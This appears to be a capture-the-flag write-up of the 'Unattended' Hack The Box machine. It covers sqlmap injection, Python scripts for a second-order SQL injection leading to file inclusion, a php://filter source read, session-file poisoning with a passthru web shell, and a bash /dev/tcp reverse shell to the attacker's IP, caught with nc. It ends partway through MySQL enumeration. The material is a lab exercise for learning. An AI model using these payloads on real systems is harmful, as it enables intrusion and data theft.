Unattended is a Medium-Hard linux box released back in April 2019.
As always we begin our Enumeration using Nmap to enumerate opened ports. We will be using the flags -sC for default scripts and -sV to enumerate versions.
[ 10.10.14.47/23 ] [ /dev/pts/5 ] [~/_HTB/Unattended]
→ ping 10.10.10.126 -c1
PING 10.10.10.126 (10.10.10.126) 56(84) bytes of data.
64 bytes from 10.10.10.126: icmp_seq=1 ttl=63 time=94.7 ms
--- 10.10.10.126 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 94.701/94.701/94.701/0.000 ms
[ 10.10.14.47/23 ] [ /dev/pts/5 ] [~/_HTB/Unattended]
→ sudo nmap -vvv -sTU -p- 10.10.10.126 --max-retries 0 -Pn --min-rate=1000 | grep Discovered
[sudo] password for nothing:
Discovered open port 80/tcp on 10.10.10.126
Discovered open port 443/tcp on 10.10.10.126
[ 10.10.14.47/23 ] [ /dev/pts/5 ] [~/_HTB/Unattended]
→ nmap -sCV -p80,443 10.10.10.126
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-18 13:59 BST
Nmap scan report for 10.10.10.126
Host is up (0.12s latency).
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.10.3
|_http-server-header: nginx/1.10.3
|_http-title: Site doesn't have a title (text/html).
443/tcp open ssl/http nginx 1.10.3
|_http-server-header: nginx/1.10.3
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=www.nestedflanders.htb/organizationName=Unattended ltd/stateOrProvinceName=IT/countryName=IT
| Not valid before: 2018-12-19T09:43:58
|_Not valid after: 2021-09-13T09:43:58
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.79 seconds
[ 10.10.14.8/23 ] [ /dev/pts/5 ] [~/.oh-my-zsh/themes]
→ whoami
root
[ 10.10.14.8/23 ] [ /dev/pts/5 ] [~/.oh-my-zsh/themes]
→ echo '10.10.10.126 www.nestedflanders.htb' >> /etc/hosts
[ 10.10.14.8/23 ] [ /dev/pts/5 ] [~/.oh-my-zsh/themes]
→ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 nowhere
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
10.10.10.126 www.nestedflanders.htb
Our nmap scan picked up that this is a web based box, so let's investiate the following :
http://10.10.10.126/
http://www.nestedflanders.htb/
https://www.nestedflanders.htb/
So here we are greeted by a default page on https://www.nestedflanders.htb , not too interesting so we enumerate it further using dirsearch:
[ 10.10.14.8/23 ] [ /dev/pts/4 ] [~/Desktop/Tools]
→ dirsearch -u https://www.nestedflanders.htb/ -t 50 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e txt,php,html,xml -x 503
git clone https://github.com/maurosoria/dirsearch.git
dirsearch -u -e -t 50 -x 500
_|. _ _ _ _ _ _|_ v0.3.9
(_||| _) (/_(_|| (_| )
Extensions: txt, php, html, xml | HTTP method: get | Threads: 50 | Wordlist size: 220521
Error Log: /home/nothing/Desktop/Tools/dirsearch/logs/errors-20-04-18_14-18-55.log
Target: https://www.nestedflanders.htb/
This is a https service so as you can expect, it is painfully slow to enumerate, but once it is finished we find the /dev directory:
Looking at index.php we see that we have pages that are being included with the "id" parameter:
At first glance there is nothing that seems dynamic other than the id parameter that includes the pages, So we run sqlmap on the page to see if we can find a SQL injection in the id parameter:
[ 10.10.14.69/23 ] [ /dev/pts/3 ] [~/_HTB/Unattended]
→ sqlmap -u https://www.nestedflanders.htb/index.php\?id\=587 -p id
___
__H__
___ ___[.]_____ ___ ___ {1.4.3#stable}
|_ -| . ['] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 20:56:32 /2020-04-19/
[...]
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection point(s) with a total of 298 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=587' AND 6741=6741 AND 'uqwa'='uqwa
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=587' AND (SELECT 1303 FROM (SELECT(SLEEP(5)))AQHN) AND 'Wunt'='Wunt
---
[20:59:04] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[20:59:04] [INFO] fetched data logged to text files under '/home/nothing/.sqlmap/output/www.nestedflanders.htb'
[*] ending @ 20:59:04 /2020-04-19/
So it looks like the id parameter is injectable, so we check the current database using the appropriate flag:
[ 10.10.14.69/23 ] [ /dev/pts/3 ] [~/_HTB/Unattended]
→ sqlmap -u https://www.nestedflanders.htb/index.php\?id\=587 --current-db
___
__H__
___ ___[(]_____ ___ ___ {1.4.3#stable}
|_ -| . [.] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 21:00:41 /2020-04-19/
[21:00:42] [INFO] resuming back-end DBMS 'mysql'
[21:00:42] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=cbr1emf27pb...otrihaacu7'). Do you want to use those [Y/n] y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=587' AND 6741=6741 AND 'uqwa'='uqwa
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=587' AND (SELECT 1303 FROM (SELECT(SLEEP(5)))AQHN) AND 'Wunt'='Wunt
---
[21:00:44] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[21:00:44] [INFO] fetching current database
[21:00:44] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[21:00:44] [INFO] retrieved: neddy
current database: 'neddy'
[21:00:55] [INFO] fetched data logged to text files under '/home/nothing/.sqlmap/output/www.nestedflanders.htb'
[*] ending @ 21:00:55 /2020-04-19/
Now that we know that there is a database named "neddy" we can enumerate it's tables:
[ 10.10.14.69/23 ] [ /dev/pts/3 ] [~/_HTB/Unattended]
→ sqlmap -u https://www.nestedflanders.htb/index.php\?id\=587 --tables -D neddy
Which is atrociously slow so we use additional threads to speed it up :
[ 10.10.14.69/23 ] [ /dev/pts/3 ] [~/_HTB/Unattended]
→ sqlmap -u https://www.nestedflanders.htb/index.php\?id\=587 --tables -D neddy --threads 10
___
__H__
___ ___[(]_____ ___ ___ {1.4.3#stable}
|_ -| . [(] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 21:02:26 /2020-04-19/
[...]
21:03:29] [INFO] retrieved: orders
[21:03:29] [INFO] retrieving the length of query output
[21:03:29] [INFO] retrieved: 8
[21:03:37] [INFO] retrieved: payments
[21:03:37] [INFO] retrieving the length of query output
[21:03:37] [INFO] retrieved: 12
[21:03:50] [INFO] retrieved: productlines
[21:03:50] [INFO] retrieving the length of query output
[21:03:50] [INFO] retrieved: 8
[21:03:58] [INFO] retrieved: products
Database: neddy
[11 tables]
+--------------+
| config |
| customers |
| employees |
| filepath |
| idname |
| offices |
| orderdetails |
| orders |
| payments |
| productlines |
| products |
+--------------+
[21:03:58] [INFO] fetched data logged to text files under '/home/nothing/.sqlmap/output/www.nestedflanders.htb'
[*] ending @ 21:03:58 /2020-04-19/
So here we have 11 tables, some of which contain an absurd number of rows which take forever to dump everything. Increasing the threads to run this command is vital. So the idea here is to focus on the config , filepath and idname tables which contains most of the elements we need to continue:
[ 10.10.14.69/23 ] [ /dev/pts/3 ] [~/_HTB/Unattended]
→ sqlmap -u https://www.nestedflanders.htb/index.php\?id\=587 -T config,filepath,idname -D neddy --technique B --dump --threads 10
___
__H__
___ ___[)]_____ ___ ___ {1.4.3#stable}
|_ -| . ['] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 21:06:33 /2020-04-19/
[21:06:33] [INFO] resuming back-end DBMS 'mysql'
[21:06:33] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=o24egt1sggh...9696egals7'). Do you want to use those [Y/n] y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=587' AND 6741=6741 AND 'uqwa'='uqwa
---
[21:06:34] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[21:06:34] [INFO] fetching columns for table 'config' in database 'neddy'
[...]
Database: neddy
Table: config
[52 entries]
+------+-------------------------+--------------------------------------------------------------------------+
| id | option_name | option_value |
+------+-------------------------+--------------------------------------------------------------------------+
| 54 | offline | 0 |
| 55 | offline_message | Site offline, please come back later |
| 56 | display_offline_message | 0 |
| 57 | offline_image | |
| 58 | sitename | NestedFlanders |
| 59 | editor | tinymce |
| 60 | captcha | 0 |
| 61 | list_limit | 20 |
| 62 | access | 1 |
| 63 | debug | 0 |
| 64 | debug_lang | 0 |
| 65 | dbtype | mysqli |
| 66 | host | localhost |
| 67 | live_site | |
| 68 | gzip | 0 |
| 69 | error_reporting | default |
| 70 | ftp_host | 127.0.0.1 |
| 71 | ftp_port | 21 |
| 72 | ftp_user | flanders |
| 73 | ftp_pass | 0e1aff658d8614fd0eac6705bb69fb684f6790299e4cf01e1b90b1a287a94ffcde451466 |
| 74 | ftp_root | / |
| 75 | ftp_enable | 1 |
| 76 | offset | UTC |
| 77 | mailonline | 1 |
| 78 | mailer | mail |
| 79 | mailfrom | nested@nestedflanders.htb |
| 80 | fromname | Neddy |
| 81 | sendmail | /usr/sbin/sendmail |
| 82 | smtpauth | 0 |
| 83 | smtpuser | |
| 84 | smtppass | |
| 85 | smtppass | |
| 86 | checkrelease | /home/guly/checkbase.pl;/home/guly/checkplugins.pl; |
| 87 | smtphost | localhost |
| 88 | smtpsecure | none |
| 89 | smtpport | 25 |
| 90 | caching | 0 |
| 91 | cache_handler | file |
| 92 | cachetime | 15 |
| 93 | MetaDesc | |
| 94 | MetaKeys | |
| 95 | MetaTitle | 1 |
| 96 | MetaAuthor | 1 |
| 97 | MetaVersion | 0 |
| 98 | robots | |
| 99 | sef | 1 |
| 100 | sef_rewrite | 0 |
| 101 | sef_suffix | 0 |
| 102 | unicodeslugs | 0 |
| 103 | feed_limit | 10 |
| 104 | lifetime | 1 |
| 105 | session_handler | file |
+------+-------------------------+--------------------------------------------------------------------------+
Database: neddy
Table: filepath
[3 entries]
+---------+--------------------------------------+
| name | path |
+---------+--------------------------------------+
| about | 47c1ba4f7b1edf28ea0e2bb250717093.php |
| contact | 0f710bba8d16303a415266af8bb52fcb.php |
| main | 787c75233b93aa5e45c3f85d130bfbe7.php |
+---------+--------------------------------------+
Database: neddy
Table: idname
[6 entries]
+------+-------------+----------+
| id | name | disabled |
+------+-------------+----------+
| 1 | main.php | 1 |
| 2 | about.php | 1 |
| 3 | contact.php | 1 |
| 25 | main | 0 |
| 465 | about | 0 |
| 587 | contact | 0 |
+------+-------------+----------+
[21:29:53] [INFO] table 'neddy.idname' dumped to CSV file '/home/nothing/.sqlmap/output/www.nestedflanders.htb/dump/neddy/idname.csv'
[21:29:53] [INFO] fetched data logged to text files under '/home/nothing/.sqlmap/output/www.nestedflanders.htb'
[*] ending @ 21:29:53 /2020-04-19/
As you can see it took more than 20 minutes. Sometimes you need a bit of patience, So in the "config" table we found potential ftp credentials, we also found "checkrelease" which hints us towards a perl script in /home/guly. Obviously we now know the username guly on this box. The table "idname" contains the mapping between ID and the GET request. The table "filepath" doesn't seem to contain anything interesting.
At this point i got stuck and decided to go for snowscan's solution which consists in making a python script in order to perform an injection on the ID name mapping SQL query, to then try to do the same on the filename mapping SQL query. Which results in achieving a Second order SQL Injection. The goal of which is to end up creating a Local File Inclusion (LFI)
I have adapted snowscan's code to work under python3, working with beautifulsoup4, along with the appropriate print() statements.
import readline
import requests
from bs4 import BeautifulSoup
proxies = { "http":"http://127.0.0.1:8080", "https:":"https://127.0.0.1:8080" }
while True:
cmd=input("> ")
payload=cmd
payload=payload+"-- -"
print(payload)
r=requests.get("https://www.nestedflanders.htb/index.php?id=%s" % payload, proxies=proxies, verify=False)
soup= BeautifulSoup(r.text, 'html.parser')
print(soup.body)
The first thing is to check if we can display the contact page by returning contact instead of main against the "idname" table.
[ 10.10.14.69/23 ] [ /dev/pts/3 ] [~/_HTB/Unattended]
→ python3 snowscan_rocks.py
> 25' union select all 'contact'
25' union select all 'contact'-- -
/usr/lib/python3/dist-packages/urllib3/connectionpool.py:999: InsecureRequestWarning: Unverified HTTPS request is being made to host 'www.nestedflanders.htb'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings
warnings.warn(
<body>
<div class="container">
<h1>Ne(ste)d Flanders' Portfolio</h1>
</div>
<div class="container">
<div center="" class="row">
<div class="col-md-2"><a href="index.php?id=25" target="maifreim">main</a></div><div class="col-md-2"><a href="index.php?id=465" target="maifreim">about</a></div><div class="col-md-2"><a href="index.php?id=587" target="maifreim">contact</a></div></div>
</div>
<div class="container">
<div class="row">
<body class="container">
Hello visitor,
thanks for getting in touch with us!
Unfortunately our server is under *heavy* attack and we disable almost every dynamic page.
Please come back later.
</body>
</div>
</div>
</body>
>
So we have been successful in returning the contact page. The second step is to SQL Inject the name field returned instead of the actual name value in order to use the same UNION SELECT injection to return a filename that we choose, hence the intended LFI:
import readline
import requests
from bs4 import BeautifulSoup
proxies = { "http":"http://127.0.0.1:8080", "https:":"https://127.0.0.1:8080" }
while True:
file = input("> ")
payload = "25' union select all \"%s\" -- -" % ("invalid' union select all '" + file)
r = requests.get("https://www.nestedflanders.htb/index.php?id=%s" % payload, proxies=proxies, verify=False)
soup = BeautifulSoup(r.text, 'html.parser')
print(soup.body)
[ 10.10.14.69/23 ] [ /dev/pts/3 ] [~/_HTB/Unattended]
→ python3 snowscan_rocks_chapter_2.py
> /etc/passwd
/usr/lib/python3/dist-packages/urllib3/connectionpool.py:999: InsecureRequestWarning: Unverified HTTPS request is being made to host 'www.nestedflanders.htb'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings
warnings.warn(
Ne(ste)d Flanders' Portfolio
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/bin/bash
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
_apt:x:104:65534::/nonexistent:/bin/false
messagebus:x:105:109::/var/run/dbus:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
guly:x:1000:1000:guly,,,:/home/guly:/bin/bash
mysql:x:107:112:MySQL Server,,,:/nonexistent:/bin/false
And the LFI was successful! we now know which users are on the box. The next step consists in getting Remote Code Execution (RCE) on the box. The hint here was to check the nginx access.log :
[...]
10.10.14.69 - - [19/Apr/2020:16:44:33 -0400] "GET /index.php?id=25'%20union%20select%20all%20'contact'--%20- HTTP/1.1" 200 521 "-" "python-requests/2.23.0"
10.10.14.69 - - [19/Apr/2020:16:45:14 -0400] "GET /index.php?id=25'%20union%20select%20all%20'contact'--%20- HTTP/1.1" 200 521 "-" "python-requests/2.23.0"
10.10.14.69 - - [19/Apr/2020:16:46:37 -0400] "GET /index.php?id=25'%20union%20select%20all%20'contact'--%20- HTTP/1.1" 200 521 "-" "python-requests/2.23.0"
10.10.14.69 - - [19/Apr/2020:17:06:50 -0400] "GET /index.php?id=25'%20union%20select%20all%20%22invalid'%20union%20select%20all%20'/etc/passwd%22%20--%20- HTTP/1.1" 200 925 "-" "python-requests/2.23.0"
Here we see that the User-Agent header is vulnerable, which potentially allows us to inject php code in the access logs, triggering it by making a request to the log file by using the LFI from the sql injection. So accordingly we modify the python script:
#!/usr/bin/python
from bs4 import BeautifulSoup
import re
import readline
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies = { "http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080" }
while True:
cmd = input("> ")
headers = { "User-Agent": " /var/log/nginx/access.log; %s'); ?>**END**" % cmd}
r = requests.get("http://10.10.10.126/", headers=headers)
file = "/var/log/nginx/access.log"
payload = "25' union select all \"%s\" -- -" % ("invalid' union select all '" + file)
r = requests.get("https://www.nestedflanders.htb/index.php?id=%s" % payload, proxies=proxies, verify=False)
soup = BeautifulSoup(r.text, 'html.parser')
m = re.search("\*\*BEGIN\*\*(.*)\*\*END\*\*", str(soup.body), flags=re.DOTALL)
if m:
print(m.group(1))
else:
print("No output")
Running it with the "id" cmd we get RCE as www-data. Another way of tackling this problem as Alamot demonstrated, is to explore the initial SQL injection manually using 'ORDER BY'
https://www.nestedflanders.htb/index.php?id=587' ORDER BY 1 --+
https://www.nestedflanders.htb/index.php?id=587' ORDER BY 2 --+
These 2 queries bring up 2 different results, one is the default index page, the other is an error. So the next step would be to try to return a name like "contact" using an inner query:
Which returned us the "about" page instead of the "contact" page. The outer query should return the path of the php file to be loaded, So by trying the same trick, we have to nest our 2nd SQL Injection :
about' UNION SELECT '/etc/passwd' --+
Like this:
https://www.nestedflanders.htb/index.php?id=587' UNION SELECT "about' UNION SELECT '/etc/passwd' --+" --+
Which becomes a 2nd order SQL Injection, Which should also become a Local File Inclusion.
And the LFI was successful! Now the thing is, if we try to Include the php files they will invariably be run and executed, we won't be able to read their source code. So the trick here is, to use a filter conversion to b64encode these php files. That way we are able to read their contents, saving us alot of time.
'php://filter/read=convert.base64-encode/resource=/path/to/file/we/want/to/read/sourcecode'
So we use this b64encoding filter in our next request:
https://www.nestedflanders.htb/index.php?id=587' UNION SELECT "about' UNION SELECT 'php://filter/read=convert.base64-encode/resource=/var/www/html/index.php' --+" --
<?php
$servername = "localhost";
$username = "nestedflanders";
$password = "1036913cf7d38d4ea4f79b050f171e9fbf3f5e";
$db = "neddy";
$conn = new mysqli($servername, $username, $password, $db);
$debug = False;
include "6fb17817efb4131ae4ae1acae0f7fd48.php";
function getTplFromID($conn) {
global $debug;
$valid_ids = array (25,465,587);
if ( (array_key_exists('id', $_GET)) && (intval($_GET['id']) == $_GET['id']) && (in_array(intval($_GET['id']),$valid_ids)) ) {
$sql = "SELECT name FROM idname where id = '".$_GET['id']."'";
} else {
$sql = "SELECT name FROM idname where id = '25'";
}
if ($debug) { echo "sqltpl: $sql
\n"; }
$result = $conn->query($sql);
if ($result->num_rows > 0) {
while($row = $result->fetch_assoc()) {
$ret = $row['name'];
}
} else {
$ret = 'main';
}
if ($debug) { echo "rettpl: $ret
\n"; }
return $ret;
}
function getPathFromTpl($conn,$tpl) {
global $debug;
$sql = "SELECT path from filepath where name = '".$tpl."'";
if ($debug) { echo "sqlpath: $sql
\n"; }
$result = $conn->query($sql);
if ($result->num_rows > 0) {
while($row = $result->fetch_assoc()) {
$ret = $row['path'];
}
}
if ($debug) { echo "retpath: $ret
\n"; }
return $ret;
}
$tpl = getTplFromID($conn);
$inc = getPathFromTpl($conn,$tpl);
?>
Ne(ste)d Flanders
Ne(ste)d Flanders Portfolio
<?php
$sql = "SELECT i.id,i.name from idname as i inner join filepath on i.name = filepath.name where disabled = '0' order by i.id";
if ($debug) { echo "sql: $sql
\n"; }
$result = $conn->query($sql);
if ($result->num_rows > 0) {
while($row = $result->fetch_assoc()) {
//if ($debug) { echo "rowid: ".$row['id']."
\n"; } // breaks layout
echo '';
}
} else {
?>
<?php
}
?>
<?php
include("$inc");
?>
<?php if ($debug) { echo "include $inc;
\n"; } ?>
<?php
$conn->close();
?>
Another way of finding this is by exploiting the nginx misconfiguration present on the box as ippsec points out, you can verify it by going to /dev/ and the misconfiguration is that in the nginx config the trailing slash hasn't been added. Therefore going to /dev../html/index.php gets us to the php page we found earlier, but without interpreting the sourcecode, allowing us to read it:
[ 10.10.14.7/23 ] [ /dev/pts/5 ] [~/_HTB/Unattended]
→ curl -sk https://www.nestedflanders.htb/dev../html/index.php > index.php
So from here we have a few interesting things, most importantly the credentials to the database: nestedflanders:1036913cf7d38d4ea4f79b050f171e9fbf3f5e . Now in order to reach the RCE from our current LFI we need to remember the 6fb17817efb4131ae4ae1acae0f7fd48.php file our sqlmap scan found earlier which has also been referenced into the index.php sourcecode, so it is definitely a hint for the next step:
https://www.nestedflanders.htb/index.php?id=587' UNION SELECT "about' UNION SELECT 'php://filter/read=convert.base64-encode/resource=/var/www/html/6fb17817efb4131ae4ae1acae0f7fd48.php' --+" --+
<?php
session_start();
if (isset($_SESSION['user_name'])){
$user_name = $_SESSION['user_name'];
}
foreach ($_COOKIE as $key => $val) {
$_SESSION[$key] = $val;
}
/* removed everything because of undergoing investigation, please check dev and staging */
Which is obviously also viewable if we use previous method suggested by ippsec, that we could actually get the file thanks to the nginx misconfiguration:
And this is where it gets interesting, this code says that every cookie name+value pair is saved inside the PHP session. PHP sessions are stored in temporary files inside a specific folder. This folder is set using session.save_path in the php.ini file "/var/lib/php/sessions". From here we could read the php.ini file to know this location or try out well known paths of php session storage, which in this case was /var/lib/php/sessions.
Therefore, we can set a cookie with a specific value:
<?php passthru($_REQUEST['cmd'])?>
And this will be stored inside a file at /var/lib/php/sessions/sess_PHPSESSID. And then we just need to include and/or run this file with the second order SQL injection LFI:
https://www.nestedflanders.htb/index.php?id=587' UNION SELECT "about' UNION SELECT '/var/lib/php/sessions/sess_d0rosoogt4afnin1qtic4ju612' --+" --+&cmd=whoami
Obviously we need to change the cookie after sess_ to the current cookie, in this case:
So with this request, we get the following result:
GET /index.php?prometheus=whoami&id=587'+union+select+"1'+union+select+'/var/lib/php/sessions/sess_skthtqmi4agio2nrpl9u7vql43'--+-"--+- HTTP/1.1
Host: www.nestedflanders.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: PHPSESSID=skthtqmi4agio2nrpl9u7vql43; NOTHING=
Upgrade-Insecure-Requests: 1
Which basically tells us that we have been able to inject php code. So since we have code execution we'll get a reverse shell, but on which port, that is a big question mark because this box actually has iptables enabled to prevent any funky traffic on uncommon ports, we can check that by printing out the contents of /etc/iptables/rules.v4:
GET /index.php?prometheus=cat+/etc/iptables/rules.v4&id=587'+union+select+"1'+union+select+'/var/lib/php/sessions/sess_skthtqmi4agio2nrpl9u7vql43'--+-"--+- HTTP/1.1
Host: www.nestedflanders.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: PHPSESSID=skthtqmi4agio2nrpl9u7vql43; NOTHING=
Upgrade-Insecure-Requests: 1
So we see that we can communicate with the box only through port 80 and 443. So our reverse shell one liner will be to our local port 443:
bash -c 'bash -i >& /dev/tcp/10.10.14.7/443 0>&1'
Url encode it in burpsuite:
bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.7/443+0>%261'
Get the following request:
GET /index.php?prometheus=bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.7/443+0>%261'&id=587'+union+select+"1'+union+select+'/var/lib/php/sessions/sess_skthtqmi4agio2nrpl9u7vql43'--+-"--+- HTTP/1.1
Host: www.nestedflanders.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: PHPSESSID=skthtqmi4agio2nrpl9u7vql43; NOTHING=
Upgrade-Insecure-Requests: 1
And catch the incoming reverse shell connection:
[ 10.10.14.7/23 ] [ /dev/pts/6 ] [~]
→ sudo nc -lvnp 443
[sudo] password for nothing:
listening on [any] 443 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.10.126] 58662
bash: cannot set terminal process group (579): Inappropriate ioctl for device
bash: no job control in this shell
www-data@unattended:/var/www/html$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@unattended:/var/www/html$ ls
ls
0f710bba8d16303a415266af8bb52fcb.php
47c1ba4f7b1edf28ea0e2bb250717093.php
6fb17817efb4131ae4ae1acae0f7fd48.php
787c75233b93aa5e45c3f85d130bfbe7.gif
787c75233b93aa5e45c3f85d130bfbe7.php
bootstrap.min.css
bootstrap.min.js
index.html
index.nginx-debian.html
index.php
jquery.min.js
www-data@unattended:/var/www/html$ which python && which python3
which python && which python3
So here we want to spawn our tty shell using python, but python isn't there for us, so we'll spawn it with the script utility:
www-data@unattended:/var/www/html$ script -h
script -h
Usage:
script [options] [file]
Make a typescript of a terminal session.
Options:
-a, --append append the output
-c, --command <command> run command rather than interactive shell
-e, --return return exit code of the child process
-f, --flush run flush after each write
--force use output file even when it is a link
-q, --quiet be quiet
-t, --timing[=<file>] output timing data to stderr (or to FILE)
-V, --version output version information and exit
-h, --help display this help and exit
For more details see script(1).
www-data@unattended:/var/www/html$ script -qc /bin/bash /dev/null
script -qc /bin/bash /dev/null
So first step here is to enumerate which users are on the box:
www-data@unattended:/var/www/html$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/bin/bash
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
_apt:x:104:65534::/nonexistent:/bin/false
messagebus:x:105:109::/var/run/dbus:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
guly:x:1000:1000:guly,,,:/home/guly:/bin/bash
mysql:x:107:112:MySQL Server,,,:/nonexistent:/bin/false
As we saw earlier, guly is a good candidate, so we could try to privesc to user guly since we probably have his password. But unfortunately it is not, so moving on,
$servername = "localhost";
$username = "nestedflanders";
$password = "1036913cf7d38d4ea4f79b050f171e9fbf3f5e";
So this is the mysql credentials we found earlier, since sqlmap had a hard time enumerating all the database contents, and we didn't even see the other tables, we can poke around it from inside the box this time.
www-data@unattended:/var/www/html$ mysql -u nestedflanders -D neddy -p
mysql -u nestedflanders -D neddy -p
